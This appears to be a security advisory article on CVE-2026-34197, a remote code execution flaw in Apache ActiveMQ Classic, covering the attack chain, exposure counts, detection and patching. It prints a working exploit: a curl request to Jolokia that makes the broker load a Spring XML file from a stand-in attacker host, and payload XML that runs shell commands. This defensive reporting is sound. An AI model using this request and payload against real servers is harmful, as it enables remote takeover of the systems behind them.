Apache ActiveMQ CVE-2026-34197 Remote Code Execution Flaw Leaves 6,400 Servers Exposed to Active Attacks

Over 6,400 internet-facing Apache ActiveMQ servers are now under active attack, and attackers can gain full remote code execution if systems remain unpatched. This vulnerability, tracked as CVE-2026-34197, is already being exploited in real-world campaigns, putting enterprise infrastructure at immediate risk.

The issue is not just another routine patch cycle bug. It exposes a deeper flaw in how multiple internal components interact, allowing attackers to bypass safeguards and execute arbitrary commands. If your environment uses Apache ActiveMQ, delaying remediation significantly increases the risk of full system compromise.

At a Glance

What Is Apache ActiveMQ — and Why Should You Care?

Apache ActiveMQ Classic is the most widely deployed open-source message broker in the Java ecosystem. Financial institutions, healthcare providers, government agencies, and e-commerce platforms use it to decouple services and move messages across distributed systems. First released in 2004, it powers mission-critical infrastructure at thousands of organizations worldwide.

That ubiquity makes CVE-2026-34197 especially dangerous. A single unpatched instance sitting on the public internet gives attackers a direct foothold into the enterprise network behind it.

The Vulnerability: A Hidden Chain Through Jolokia

Horizon3.ai researcher Naveen Sunkavally discovered the flaw — with assistance from the Claude AI — on March 22, 2026. What made it elusive for over a decade was its multi-component nature: no single feature was broken in isolation. The danger arose from how four independent subsystems interacted.

How the attack chain works

ActiveMQ Classic ships a web-based management console on port 8161. That console includes Jolokia, an HTTP-to-JMX bridge that exposes broker management operations as a REST API. After a 2023 fix for CVE-2022-41678, Apache added a broad allow rule that granted every operation on every ActiveMQ MBean:

<allow>
  <mbean>
    <n>org.apache.activemq:*</n>
    <attribute>*</attribute>
    <operation>*</operation>
  </mbean>
</allow>

That blanket allow rule exposed BrokerService.addNetworkConnector(String) — an operation that sets up broker-to-broker bridges at runtime. ActiveMQ also supports a VM transport (vm://), an in-process communication path for embedded brokers. When you reference a broker name that doesn’t exist, ActiveMQ automatically creates one and accepts a brokerConfig parameter pointing to a configuration URL.

An attacker chains these three pieces together: call addNetworkConnector through Jolokia with a crafted URI that uses the VM transport and points brokerConfig at an attacker-controlled Spring XML file. Spring’s ResourceXmlApplicationContext instantiates all bean definitions before the broker validates anything — giving the attacker arbitrary code execution on the broker’s JVM.

curl -s -X POST http://TARGET:8161/api/jolokia/ \
  -H "Content-Type: application/json" \
  -H "Origin: http://TARGET:8161" \
  -u admin:admin \
  -d '{
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "addNetworkConnector",
    "arguments": [
      "static:(vm://rce?brokerConfig=xbean:http://ATTACKER:8888/payload.xml)"
    ]
  }'

The payload XML uses Spring’s MethodInvokingFactoryBean to call Runtime.getRuntime().exec(), executing arbitrary OS commands on the server:

<bean id="exec" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
  <property name="targetObject">
    <bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
      <property name="targetClass" value="java.lang.Runtime"/>
      <property name="targetMethod" value="getRuntime"/>
    </bean>
  </property>
  <property name="targetMethod" value="exec"/>
  <property name="arguments">
    <list>
      <array value-type="java.lang.String">
        <value>/bin/bash</value>
        <value>-c</value>
        <value>COMMAND_HERE</value>
      </array>
    </list>
  </property>
</bean>

Unauthenticated on some versions

The exploit above requires a valid username and password — and default credentials (admin:admin) remain common in many deployments.

However, on ActiveMQ versions 6.0.0 through 6.1.1, a separate vulnerability (CVE-2024-32114) inadvertently removed the /api/* path from the web console’s security constraints, making Jolokia fully unauthenticated. On those versions, CVE-2026-34197 delivers unauthenticated remote code execution with no credentials at all.

Scope of Exposure: 6,400 Servers and Counting

The Shadowserver Foundation scanned the internet on April 19, 2026 and identified exactly 6,364 IP addresses running vulnerable Apache ActiveMQ versions. The geographic breakdown tells a global story: Asia leads with 2,925 exposed servers, followed by North America (1,409) and Europe (1,334).

Shadowserver now runs daily scans for this CVE and publishes live results through its Accessible ActiveMQ reporting dashboard, giving network defenders real-time global visibility.

A History of Repeated Targeting

This isn’t the first time Apache ActiveMQ has drawn attackers. CISA’s KEV catalog now lists three ActiveMQ vulnerabilities confirmed exploited in the wild:

Horizon3.ai stated plainly: “Methods for exploitation and post-exploitation of ActiveMQ are well-known.” Attackers who compromise an ActiveMQ broker gain an immediate beachhead into the message bus connecting backend services — and from there, lateral movement is straightforward.

How the Discovery Happened

Naveen Sunkavally at Horizon3.ai found the vulnerability using an AI-assisted code review workflow. He fed the ActiveMQ source to the Claude AI model with a prompt targeting RCE, authentication bypass, SSRF, and code injection vulnerability classes — and Claude traced the full exploitation chain end to end in about 10 minutes. What would have taken a skilled human researcher roughly a week to work through manually took the AI a single session. Sunkavally described it as “80% Claude with 20% gift-wrapping by a human.”

The finding illustrates both the power and the risk in modern security tooling: the same AI capabilities that let defenders find vulnerabilities faster also lower the floor for attackers. Horizon3.ai disclosed the vulnerability to Apache on March 22, 2026.

Apache acknowledged and assigned the CVE four days later. The patch shipped on March 30 and the public advisory followed on April 6.

Technical Details

The National Vulnerability Database classifies CVE-2026-34197 under two CWEs: CWE-20 (Improper Input Validation) and CWE-94 (Improper Control of Generation of Code — Code Injection). CISA’s ADP scored it 8.8 HIGH with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.

Affected versions:

• Apache ActiveMQ Classic (all editions) before 5.19.4
• Apache ActiveMQ Classic from 6.0.0 before 6.2.3

This vulnerability affects ActiveMQ Classic only — not ActiveMQ Artemis.

Detection: What to Look For in Your Logs

Exploitation leaves clear traces in the ActiveMQ broker logs. Defenders should hunt for network connector activity referencing vm:// URIs that include the brokerConfig=xbean:http parameter. This pattern does not appear during normal broker operations:

INFO  | Network Connector DiscoveryNetworkConnector:NC:BrokerService[localhost] started
INFO  | Establishing network connection from vm://localhost to
        vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
WARN  | Could not connect to remote URI: vm://rce?create=true&brokerConfig=
        xbean:http://X.X.X.X:8888/payload.xml: The configuration has no BrokerService
        instance for resource: xbean:http://X.X.X.X:8888/payload.xml
INFO  | Network Connector DiscoveryNetworkConnector:NC:BrokerService[localhost] stopped

Important: The WARN message about configuration failure appears after the payload has already executed. The broker repeats connection attempts several times before the connector stops.

Additional indicators to hunt for:

• POST requests to /api/jolokia/ containing addNetworkConnector in the request body
• Unexpected outbound HTTP requests from the ActiveMQ broker process to external hosts
• Unexpected child processes spawned from the ActiveMQ JVM

Remediation: What You Must Do Now

1. Patch immediately: Upgrade all ActiveMQ Classic instances to version 5.19.4 or 6.2.3. Follow the official Apache security advisory for full instructions. The patch removes vm:// transport support from the addNetworkConnector Jolokia operation.

2. Stop exposing port 8161 to the public internet: Configure firewalls and network segmentation to block external access to ActiveMQ’s administrative console and messaging ports. The management console has no business being internet-facing.

3. Change default credentials immediately: Many deployments still run admin:admin. Replace all default credentials across every ActiveMQ instance — treat this as a prerequisite even before patching.

4. Hunt for signs of prior compromise: Check broker logs for the vm:// and brokerConfig=xbean:http indicators above. Horizon3.ai’s technical analysis provides complete indicators of compromise.

5. Enable Shadowserver monitoring: Register with the Shadowserver Foundation’s free Accessible ActiveMQ reporting service to receive automated alerts if any internal or internet-exposed assets appear in their daily scans.

Coordinated Disclosure Timeline

CVE-2026-34197 is an actively exploited vulnerability affecting thousands of exposed systems worldwide. The combination of widespread deployment, accessible attack paths, and delayed patching makes it a high-risk issue.

If your infrastructure relies on Apache ActiveMQ Classic, treat this as a priority incident. Patch immediately, restrict access, and verify that no compromise has already occurred.